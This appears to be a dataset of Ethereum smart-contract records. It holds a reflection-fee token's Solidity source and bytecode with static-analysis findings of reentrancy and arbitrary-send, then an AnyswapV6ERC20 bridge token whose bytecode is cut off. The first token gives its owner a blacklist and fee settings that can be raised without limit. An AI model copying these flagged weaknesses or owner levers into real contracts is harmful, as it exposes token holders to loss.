_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
require(taxFeeOnBuy<=_taxFeeOnBuy||taxFeeOnSell<=_taxFeeOnSell);
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) external onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
function toggleSwap(bool _swapEnabled) external onlyOwner{
swapEnabled = _swapEnabled;
}
function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner {
require(maxTxAmount > 5000000 * 10**9 );
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461054f578063dd62ed3e1461056f578063ea1644d5146105b5578063f2fde38b146105d557600080fd5b8063a2a957bb146104ca578063a9059cbb146104ea578063bfd792841461050a578063c3c8cd801461053a57600080fd5b80638f70ccf7116100d15780638f70ccf7146104485780638f9a55c01461046857806395d89b411461047e57806398a5c315146104aa57600080fd5b80637d1db4a5146103e75780637f2feddc146103fd5780638da5cb5b1461042a57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461037d57806370a0823114610392578063715018a6146103b257806374010ece146103c757600080fd5b8063313ce5671461030157806349bd5a5e1461031d5780636b9990531461033d5780636d8aa8f81461035d57600080fd5b80631694505e116101ab5780631694505e1461026e57806318160ddd146102a657806323b872dd146102cb5780632fd689e3146102eb57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461023e57600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611957565b6105f5565b005b34801561020a57600080fd5b506040805180820190915260058152644f4820484960d81b60208201525b6040516102359190611a1c565b60405180910390f35b34801561024a57600080fd5b5061025e610259366004611a71565b610694565b6040519015158152602001610235565b34801561027a57600080fd5b5060135461028e906001600160a01b031681565b6040516001600160a01b039091168152602001610235565b3480156102b257600080fd5b50670de0b6b3a76400005b604051908152602001610235565b3480156102d757600080fd5b5061025e6102e6366004611a9d565b6106ab565b3480156102f757600080fd5b506102bd60175481565b34801561030d57600080fd5b5060405160098152602001610235565b34801561032957600080fd5b5060145461028e906001600160a01b031681565b34801561034957600080fd5b506101fc610358366004611ade565b610714565b34801561036957600080fd5b506101fc610378366004611b0b565b61075f565b34801561038957600080fd5b506101fc6107a7565b34801561039e57600080fd5b506102bd6103ad366004611ade565b6107d4565b3480156103be57600080fd5b506101fc6107f6565b3480156103d357600080fd5b506101fc6103e2366004611b26565b61086a565b3480156103f357600080fd5b506102bd60155481565b34801561040957600080fd5b506102bd610418366004611ade565b60116020526000908152604090205481565b34801561043657600080fd5b506000546001600160a01b031661028e565b34801561045457600080fd5b506101fc610463366004611b0b565b6108ac565b34801561047457600080fd5b506102bd60165481565b34801561048a57600080fd5b506040805180820190915260038152621313d360ea1b6020820152610228565b3480156104b657600080fd5b506101fc6104c5366004611b26565b61090b565b3480156104d657600080fd5b506101fc6104e5366004611b3f565b61093a565b3480156104f657600080fd5b5061025e610505366004611a71565b610994565b34801561051657600080fd5b5061025e610525366004611ade565b60106020526000908152604090205460ff1681565b34801561054657600080fd5b506101fc6109a1565b34801561055b57600080fd5b506101fc61056a366004611b71565b6109d7565b34801561057b57600080fd5b506102bd61058a366004611bf5565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c157600080fd5b506101fc6105d0366004611b26565b610a78565b3480156105e157600080fd5b506101fc6105f0366004611ade565b610aa7565b6000546001600160a01b031633146106285760405162461bcd60e51b815260040161061f90611c2e565b60405180910390fd5b60005b81518110156106905760016010600084848151811061064c5761064c611c63565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061068881611c8f565b91505061062b565b5050565b60006106a1338484610b91565b5060015b92915050565b60006106b8848484610cb5565b61070a843361070585604051806060016040528060288152602001611da7602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111f1565b610b91565b5060019392505050565b6000546001600160a01b0316331461073e5760405162461bcd60e51b815260040161061f90611c2e565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107895760405162461bcd60e51b815260040161061f90611c2e565b60148054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b0316146107c757600080fd5b476107d18161122b565b50565b6001600160a01b0381166000908152600260205260408120546106a590611265565b6000546001600160a01b031633146108205760405162461bcd60e51b815260040161061f90611c2e565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108945760405162461bcd60e51b815260040161061f90611c2e565b6611c37937e0800081116108a757600080fd5b601555565b6000546001600160a01b031633146108d65760405162461bcd60e51b815260040161061f90611c2e565b601454600160a01b900460ff16156108ed57600080fd5b60148054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109355760405162461bcd60e51b815260040161061f90611c2e565b601755565b6000546001600160a01b031633146109645760405162461bcd60e51b815260040161061f90611c2e565b600954821115806109775750600b548111155b61098057600080fd5b600893909355600a91909155600955600b55565b60006106a1338484610cb5565b6012546001600160a01b0316336001600160a01b0316146109c157600080fd5b60006109cc306107d4565b90506107d1816112e9565b6000546001600160a01b03163314610a015760405162461bcd60e51b815260040161061f90611c2e565b60005b82811015610a72578160056000868685818110610a2357610a23611c63565b9050602002016020810190610a389190611ade565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6a81611c8f565b915050610a04565b50505050565b6000546001600160a01b03163314610aa25760405162461bcd60e51b815260040161061f90611c2e565b601655565b6000546001600160a01b03163314610ad15760405162461bcd60e51b815260040161061f90611c2e565b6001600160a01b038116610b365760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161061f565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bf35760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161061f565b6001600160a01b038216610c545760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161061f565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d195760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161061f565b6001600160a01b038216610d7b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161061f565b60008111610ddd5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161061f565b6000546001600160a01b03848116911614801590610e0957506000546001600160a01b03838116911614155b156110ea57601454600160a01b900460ff16610ea2576000546001600160a01b03848116911614610ea25760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161061f565b601554811115610ef45760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161061f565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3657506001600160a01b03821660009081526010602052604090205460ff16155b610f8e5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b606482015260840161061f565b6014546001600160a01b038381169116146110135760165481610fb0846107d4565b610fba9190611ca8565b106110135760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b606482015260840161061f565b600061101e306107d4565b6017546015549192508210159082106110375760155491505b80801561104e5750601454600160a81b900460ff16155b801561106857506014546001600160a01b03868116911614155b801561107d5750601454600160b01b900460ff165b80156110a257506001600160a01b03851660009081526005602052604090205460ff16155b80156110c757506001600160a01b03841660009081526005602052604090205460ff16155b156110e7576110d5826112e9565b4780156110e5576110e54761122b565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112c57506001600160a01b03831660009081526005602052604090205460ff165b8061115e57506014546001600160a01b0385811691161480159061115e57506014546001600160a01b03848116911614155b1561116b575060006111e5565b6014546001600160a01b03858116911614801561119657506013546001600160a01b03848116911614155b156111a857600854600c55600954600d555b6014546001600160a01b0384811691161480156111d357506013546001600160a01b03858116911614155b156111e557600a54600c55600b54600d555b610a7284848484611463565b600081848411156112155760405162461bcd60e51b815260040161061f9190611a1c565b5060006112228486611cc0565b95945050505050565b6012546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610690573d6000803e3d6000fd5b60006006548211156112cc5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161061f565b60006112d6611491565b90506112e283826114b4565b9392505050565b6014805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061133157611331611c63565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561138a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113ae9190611cd7565b816001815181106113c1576113c1611c63565b6001600160a01b0392831660209182029290920101526013546113e79130911684610b91565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac94790611420908590600090869030904290600401611cf4565b600060405180830381600087803b15801561143a57600080fd5b505af115801561144e573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b80611470576114706114f6565b61147b848484611524565b80610a7257610a72600e54600c55600f54600d55565b600080600061149e61161b565b90925090506114ad82826114b4565b9250505090565b60006112e283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061165b565b600c541580156115065750600d54155b1561150d57565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061153687611689565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061156890876116e6565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115979086611728565b6001600160a01b0389166000908152600260205260409020556115b981611787565b6115c384836117d1565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161160891815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061163682826114b4565b82101561165257505060065492670de0b6b3a764000092509050565b90939092509050565b6000818361167c5760405162461bcd60e51b815260040161061f9190611a1c565b5060006112228486611d65565b60008060008060008060008060006116a68a600c54600d546117f5565b92509250925060006116b6611491565b905060008060006116c98e87878761184a565b919e509c509a509598509396509194505050505091939550919395565b60006112e283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111f1565b6000806117358385611ca8565b9050838110156112e25760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161061f565b6000611791611491565b9050600061179f838361189a565b306000908152600260205260409020549091506117bc9082611728565b30600090815260026020526040902055505050565b6006546117de90836116e6565b6006556007546117ee9082611728565b6007555050565b600080808061180f6064611809898961189a565b906114b4565b9050600061182260646118098a8961189a565b9050600061183a826118348b866116e6565b906116e6565b9992985090965090945050505050565b6000808080611859888661189a565b90506000611867888761189a565b90506000611875888861189a565b905060006118878261183486866116e6565b939b939a50919850919650505050505050565b6000826000036118ac575060006106a5565b60006118b88385611d87565b9050826118c58583611d65565b146112e25760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161061f565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107d157600080fd5b803561195281611932565b919050565b6000602080838503121561196a57600080fd5b823567ffffffffffffffff8082111561198257600080fd5b818501915085601f83011261199657600080fd5b8135818111156119a8576119a861191c565b8060051b604051601f19603f830116810181811085821117156119cd576119cd61191c565b6040529182528482019250838101850191888311156119eb57600080fd5b938501935b82851015611a1057611a0185611947565b845293850193928501926119f0565b98975050505050505050565b600060208083528351808285015260005b81811015611a4957858101830151858201604001528201611a2d565b81811115611a5b576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a8457600080fd5b8235611a8f81611932565b946020939093013593505050565b600080600060608486031215611ab257600080fd5b8335611abd81611932565b92506020840135611acd81611932565b929592945050506040919091013590565b600060208284031215611af057600080fd5b81356112e281611932565b8035801515811461195257600080fd5b600060208284031215611b1d57600080fd5b6112e282611afb565b600060208284031215611b3857600080fd5b5035919050565b60008060008060808587031215611b5557600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b8657600080fd5b833567ffffffffffffffff80821115611b9e57600080fd5b818601915086601f830112611bb257600080fd5b813581811115611bc157600080fd5b8760208260051b8501011115611bd657600080fd5b602092830195509350611bec9186019050611afb565b90509250925092565b60008060408385031215611c0857600080fd5b8235611c1381611932565b91506020830135611c2381611932565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611ca157611ca1611c79565b5060010190565b60008219821115611cbb57611cbb611c79565b500190565b600082821015611cd257611cd2611c79565b500390565b600060208284031215611ce957600080fd5b81516112e281611932565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d445784516001600160a01b031683529383019391830191600101611d1f565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d8257634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611da157611da1611c79565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220375c5c7608f4ecd5959dde2981d999e95e18c363f72f818b487f740b3b78f15464736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 3,322 |
0x1b41a1BA7722E6431b1A782327DBe466Fe1Ee9F9
|
/**
*Submitted for verification at Etherscan.io on 2022-04-15
*/
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.2;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract AnyswapV6ERC20 is IERC20 {
using SafeERC20 for IERC20;
string public name;
string public symbol;
uint8 public immutable override decimals;
address public immutable underlying;
bool public constant underlyingIsMinted = false;
/// @dev Records amount of AnyswapV6ERC20 token owned by account.
mapping (address => uint256) public override balanceOf;
uint256 private _totalSupply;
// init flag for setting immediate vault, needed for CREATE2 support
bool private _init;
// flag to enable/disable swapout vs vault.burn so multiple events are triggered
bool private _vaultOnly;
// delay for timelock functions
uint public constant DELAY = 2 days;
// set of minters, can be this bridge or other bridges
mapping(address => bool) public isMinter;
address[] public minters;
// primary controller of the token contract
address public vault;
address public pendingMinter;
uint public delayMinter;
address public pendingVault;
uint public delayVault;
modifier onlyAuth() {
require(isMinter[msg.sender], "AnyswapV6ERC20: FORBIDDEN");
_;
}
modifier onlyVault() {
require(msg.sender == vault, "AnyswapV6ERC20: FORBIDDEN");
_;
}
function owner() external view returns (address) {
return vault;
}
function mpc() external view returns (address) {
return vault;
}
function setVaultOnly(bool enabled) external onlyVault {
_vaultOnly = enabled;
}
function initVault(address _vault) external onlyVault {
require(_init);
_init = false;
vault = _vault;
isMinter[_vault] = true;
minters.push(_vault);
}
function setVault(address _vault) external onlyVault {
require(_vault != address(0), "AnyswapV6ERC20: address(0)");
pendingVault = _vault;
delayVault = block.timestamp + DELAY;
}
function applyVault() external onlyVault {
require(pendingVault != address(0) && block.timestamp >= delayVault);
vault = pendingVault;
pendingVault = address(0);
delayVault = 0;
}
function setMinter(address _auth) external onlyVault {
require(_auth != address(0), "AnyswapV6ERC20: address(0)");
pendingMinter = _auth;
delayMinter = block.timestamp + DELAY;
}
function applyMinter() external onlyVault {
require(pendingMinter != address(0) && block.timestamp >= delayMinter);
isMinter[pendingMinter] = true;
minters.push(pendingMinter);
pendingMinter = address(0);
delayMinter = 0;
}
// No time delay revoke minter emergency function
function revokeMinter(address _auth) external onlyVault {
isMinter[_auth] = false;
}
function getAllMinters() external view returns (address[] memory) {
return minters;
}
function changeVault(address newVault) external onlyVault returns (bool) {
require(newVault != address(0), "AnyswapV6ERC20: address(0)");
emit LogChangeVault(vault, newVault, block.timestamp);
vault = newVault;
pendingVault = address(0);
delayVault = 0;
return true;
}
function mint(address to, uint256 amount) external onlyAuth returns (bool) {
_mint(to, amount);
return true;
}
function burn(address from, uint256 amount) external onlyAuth returns (bool) {
_burn(from, amount);
return true;
}
function Swapin(bytes32 txhash, address account, uint256 amount) external onlyAuth returns (bool) {
if (underlying != address(0) && IERC20(underlying).balanceOf(address(this)) >= amount) {
IERC20(underlying).safeTransfer(account, amount);
} else {
_mint(account, amount);
}
emit LogSwapin(txhash, account, amount);
return true;
}
function Swapout(uint256 amount, string memory bindaddr) external returns (bool) {
require(!_vaultOnly, "AnyswapV6ERC20: vaultOnly");
verifyBindAddr(bindaddr);
if (underlying != address(0) && balanceOf[msg.sender] < amount) {
IERC20(underlying).safeTransferFrom(msg.sender, address(this), amount);
} else {
_burn(msg.sender, amount);
}
emit LogSwapout(msg.sender, amount, bindaddr);
return true;
}
function verifyBindAddr(string memory bindaddr) pure internal {
require(bytes(bindaddr).length > 0);
}
/// @dev Records number of AnyswapV6ERC20 token that account (second) will be allowed to spend on behalf of another account (first) through {transferFrom}.
mapping (address => mapping (address => uint256)) public override allowance;
event LogChangeVault(address indexed oldVault, address indexed newVault, uint indexed effectiveTime);
event LogSwapin(bytes32 indexed txhash, address indexed account, uint amount);
event LogSwapout(address indexed account, uint amount, string bindaddr);
constructor(string memory _name, string memory _symbol, uint8 _decimals, address _underlying, address _vault) {
name = _name;
symbol = _symbol;
decimals = _decimals;
underlying = _underlying;
if (_underlying != address(0)) {
require(_decimals == IERC20(_underlying).decimals());
}
// Use init to allow for CREATE2 accross all chains
_init = true;
// Disable/Enable swapout for v1 tokens vs mint/burn for v3 tokens
_vaultOnly = false;
vault = _vault;
}
/// @dev Returns the total supply of AnyswapV6ERC20 token as the ETH held in this contract.
function totalSupply() external view override returns (uint256) {
return _totalSupply;
}
function deposit() external returns (uint) {
uint _amount = IERC20(underlying).balanceOf(msg.sender);
IERC20(underlying).safeTransferFrom(msg.sender, address(this), _amount);
return _deposit(_amount, msg.sender);
}
function deposit(uint amount) external returns (uint) {
IERC20(underlying).safeTransferFrom(msg.sender, address(this), amount);
return _deposit(amount, msg.sender);
}
function deposit(uint amount, address to) external returns (uint) {
IERC20(underlying).safeTransferFrom(msg.sender, address(this), amount);
return _deposit(amount, to);
}
function depositVault(uint amount, address to) external onlyVault returns (uint) {
return _deposit(amount, to);
}
function _deposit(uint amount, address to) internal returns (uint) {
require(!underlyingIsMinted);
require(underlying != address(0) && underlying != address(this));
_mint(to, amount);
return amount;
}
function withdraw() external returns (uint) {
return _withdraw(msg.sender, balanceOf[msg.sender], msg.sender);
}
function withdraw(uint amount) external returns (uint) {
return _withdraw(msg.sender, amount, msg.sender);
}
function withdraw(uint amount, address to) external returns (uint) {
return _withdraw(msg.sender, amount, to);
}
function withdrawVault(address from, uint amount, address to) external onlyVault returns (uint) {
return _withdraw(from, amount, to);
}
function _withdraw(address from, uint amount, address to) internal returns (uint) {
require(!underlyingIsMinted);
require(underlying != address(0) && underlying != address(this));
_burn(from, amount);
IERC20(underlying).safeTransfer(to, amount);
return amount;
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply += amount;
balanceOf[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
uint256 balance = balanceOf[account];
require(balance >= amount, "ERC20: burn amount exceeds balance");
balanceOf[account] = balance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/// @dev Sets `value` as allowance of `spender` account over caller account's AnyswapV6ERC20 token.
/// Emits {Approval} event.
/// Returns boolean value indicating whether operation succeeded.
function approve(address spender, uint256 value) external override returns (bool) {
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/// @dev Moves `value` AnyswapV6ERC20 token from caller's account to account (`to`).
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - caller account must have at least `value` AnyswapV6ERC20 token.
function transfer(address to, uint256 value) external override returns (bool) {
require(to != address(0) && to != address(this));
uint256 balance = balanceOf[msg.sender];
require(balance >= value, "AnyswapV6ERC20: transfer amount exceeds balance");
balanceOf[msg.sender] = balance - value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
return true;
}
/// @dev Moves `value` AnyswapV6ERC20 token from account (`from`) to account (`to`) using allowance mechanism.
/// `value` is then deducted from caller account's allowance, unless set to `type(uint256).max`.
/// Emits {Approval} event to reflect reduced allowance `value` for caller account to spend from account (`from`),
/// unless allowance is set to `type(uint256).max`
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - `from` account must have at least `value` balance of AnyswapV6ERC20 token.
/// - `from` account must have approved caller to spend at least `value` of AnyswapV6ERC20 token, unless `from` and caller are the same account.
function transferFrom(address from, address to, uint256 value) external override returns (bool) {
require(to != address(0) && to != address(this));
if (from != msg.sender) {
uint256 allowed = allowance[from][msg.sender];
if (allowed != type(uint256).max) {
require(allowed >= value, "AnyswapV6ERC20: request exceeds allowance");
uint256 reduced = allowed - value;
allowance[from][msg.sender] = reduced;
emit Approval(from, msg.sender, reduced);
}
}
uint256 balance = balanceOf[from];
require(balance >= value, "AnyswapV6ERC20: transfer amount exceeds balance");
balanceOf[from] = balance - value;
balanceOf[to] += value;
emit Transfer(from, to, value);
return true;
}
}
|
0x608060405234801561001057600080fd5b506004361061025c5760003560e01c80638da5cb5b11610146578063c3081240116100c3578063d93f244511610087578063d93f244514610544578063dd62ed3e1461054c578063ec126c7714610577578063f75c266414610442578063fbfa77cf1461058a578063fca3b5aa1461059d57600080fd5b8063c308124014610505578063c4b740f51461050e578063cfbd488514610521578063d0e30db014610534578063d6c797511461053c57600080fd5b8063a9059cbb1161010a578063a9059cbb14610496578063aa271e1a146104a9578063ad54056d146104cc578063b6b55f25146104df578063bebbf4d0146104f257600080fd5b80638da5cb5b1461044257806391c5df491461045357806395d89b41146104665780639dc29fac1461046e578063a045442c1461048157600080fd5b80633ccfd60b116101df57806369b41170116101a357806369b41170146103c25780636e553f65146103cc5780636f307dc3146103df57806370a08231146104065780638623ec7b1461042657806387689e281461043957600080fd5b80633ccfd60b1461035657806340c10f191461035e57806352113ba71461037157806360e232a91461039c5780636817031b146103af57600080fd5b806318160ddd1161022657806318160ddd146102dc57806323b872dd146102e45780632e1a7d4d146102f75780632ebe3fbb1461030a578063313ce5671461031d57600080fd5b806239d6ec14610261578062f714ce1461028757806306fdde031461029a578063095ea7b3146102af5780630d707df8146102d2575b600080fd5b61027461026f36600461197a565b6105b0565b6040519081526020015b60405180910390f35b6102746102953660046119b6565b6105f9565b6102a261060d565b60405161027e9190611a3a565b6102c26102bd366004611a4d565b61069b565b604051901515815260200161027e565b6102da610707565b005b600354610274565b6102c26102f2366004611a77565b6107d6565b610274610305366004611ab3565b6109d4565b6102da610318366004611acc565b6109e7565b6103447f000000000000000000000000000000000000000000000000000000000000000681565b60405160ff909116815260200161027e565b610274610aa1565b6102c261036c366004611a4d565b610ac2565b600a54610384906001600160a01b031681565b6040516001600160a01b03909116815260200161027e565b6102c26103aa366004611acc565b610b04565b6102da6103bd366004611acc565b610bc9565b6102746202a30081565b6102746103da3660046119b6565b610c47565b6103847f000000000000000000000000000000000000000000000000000000000000000081565b610274610414366004611acc565b60026020526000908152604090205481565b610384610434366004611ab3565b610c88565b610274600b5481565b6007546001600160a01b0316610384565b600854610384906001600160a01b031681565b6102a2610cb2565b6102c261047c366004611a4d565b610cbf565b610489610cf8565b60405161027e9190611ae7565b6102c26104a4366004611a4d565b610d5a565b6102c26104b7366004611acc565b60056020526000908152604090205460ff1681565b6102c26104da366004611b4a565b610e31565b6102746104ed366004611ab3565b610f70565b6102746105003660046119b6565b610fb1565b61027460095481565b6102da61051c366004611c13565b610fde565b6102da61052f366004611acc565b611022565b61027461106d565b6102c2600081565b6102da611141565b61027461055a366004611c30565b600c60209081526000928352604080842090915290825290205481565b6102c2610585366004611c5a565b6111bc565b600754610384906001600160a01b031681565b6102da6105ab366004611acc565b61132f565b6007546000906001600160a01b031633146105e65760405162461bcd60e51b81526004016105dd90611c7f565b60405180910390fd5b6105f18484846113ad565b949350505050565b60006106063384846113ad565b9392505050565b6000805461061a90611cb6565b80601f016020809104026020016040519081016040528092919081815260200182805461064690611cb6565b80156106935780601f1061066857610100808354040283529160200191610693565b820191906000526020600020905b81548152906001019060200180831161067657829003601f168201915b505050505081565b336000818152600c602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200